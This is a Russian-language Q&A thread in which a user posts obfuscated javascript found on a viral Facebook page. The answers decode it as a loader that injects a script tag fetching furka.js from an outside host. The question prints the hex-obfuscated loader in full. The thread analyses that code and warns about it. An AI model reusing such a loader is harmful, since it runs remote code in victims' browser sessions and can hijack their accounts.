Может кто-нибудь расшифровать этот javascript?

Question

Я нашел этот javascript на вирусной странице Facebook здесь . Я думаю, что код является вредоносным, поэтому я хотел бы знать, что он делает. Вот код:

javascript: var _0xa064=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x2F\x2F\x64\x74\x67\x2D\x63\x73\x2E\x68\x6F\x73\x74\x6F\x69\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x66\x65\x73\x6F\x72\x69\x63\x61\x2F\x66\x75\x72\x6B\x61\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0xa064[2]](_0xa064[1]))[_0xa064[0]]=_0xa064[3];b[_0xa064[5]][_0xa064[4]](a); void (0);

Answer 1

(a = (b = document)['createElement']('script'))['src'] = '//dtg-cs.hostoi.com/profesorica/furka.js';
b['body']['appendChild'](a);
void(0);

Answer 2

Создает тег сценария, который импортирует

dtg-cs.hostoi.com/profesorica/furka.js

Я бы сильно подозревал, что это что-то вредоносное.

edit - поскольку этот сценарий включает в себя различныеajax-запросы, ссылка на файл с именем "penis-xd.jpg", я думаю, мы можем определенно считать его вредоносным: -)

Answer 3

пытается загрузить: dtg-cs.hostoi.com/profesorica/furka.js